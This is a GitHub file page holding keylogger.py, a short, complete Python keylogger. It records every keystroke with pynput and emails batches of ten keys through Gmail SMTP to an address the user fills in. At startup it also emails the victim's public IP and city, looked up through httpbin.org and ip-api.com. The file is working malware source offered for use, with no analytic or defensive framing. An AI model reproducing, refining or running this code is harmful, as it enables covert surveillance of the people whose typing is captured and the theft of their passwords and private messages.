-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.py
More file actions
66 lines (58 loc) · 1.99 KB
/
keylogger.py
File metadata and controls
66 lines (58 loc) · 1.99 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import pynput
from pynput.keyboard import Key, Listener
import smtplib
import ssl
import threading
import requests
def send_startup_email():
global ipv4_address
try:
response = requests.get('https://httpbin.org/ip')
ipv4_address = response.json().get('origin', None)
location = "Unknown"
if ipv4_address:
try:
ip_response = requests.get(f'http://ip-api.com/json/{ipv4_address}')
ip_data = ip_response.json()
if ip_data['status'] == 'success':
location = f"{ip_data['city']}, {ip_data['regionName']}, {ip_data['country']}"
except Exception as e:
print("Error retrieving location:", e)
message = f"Connected from: {location}"
send_email("Startup", message)
except Exception as e:
print(e)
def send_email(subject, message):
smtp_server = "smtp.gmail.com"
port = 587
sender_email = "sender.email@here" # edit
password = "sender-password-here" # edit
receiver_email = "receiver.email@here" # edit
context = ssl.create_default_context()
try:
server = smtplib.SMTP(smtp_server, port)
server.starttls(context=context)
server.login(sender_email, password)
email_message = f"Subject: {subject} - {ipv4_address}\n\n{message}"
server.sendmail(sender_email, receiver_email, email_message)
server.quit()
except Exception as e:
print(e)
def format_message(keys):
message = "".join(key.replace("'", "") if key != "Key.space" else " " for key in keys)
return message
def on_press(key):
global keys, count
keys.append(str(key))
count += 1
if count >= 10:
count = 0
message = format_message(keys)
email_thread = threading.Thread(target=send_email, args=("Keylog", message))
email_thread.start()
ipv4_address = None
keys = []
count = 0
send_startup_email()
with Listener(on_press=on_press) as listener:
listener.join()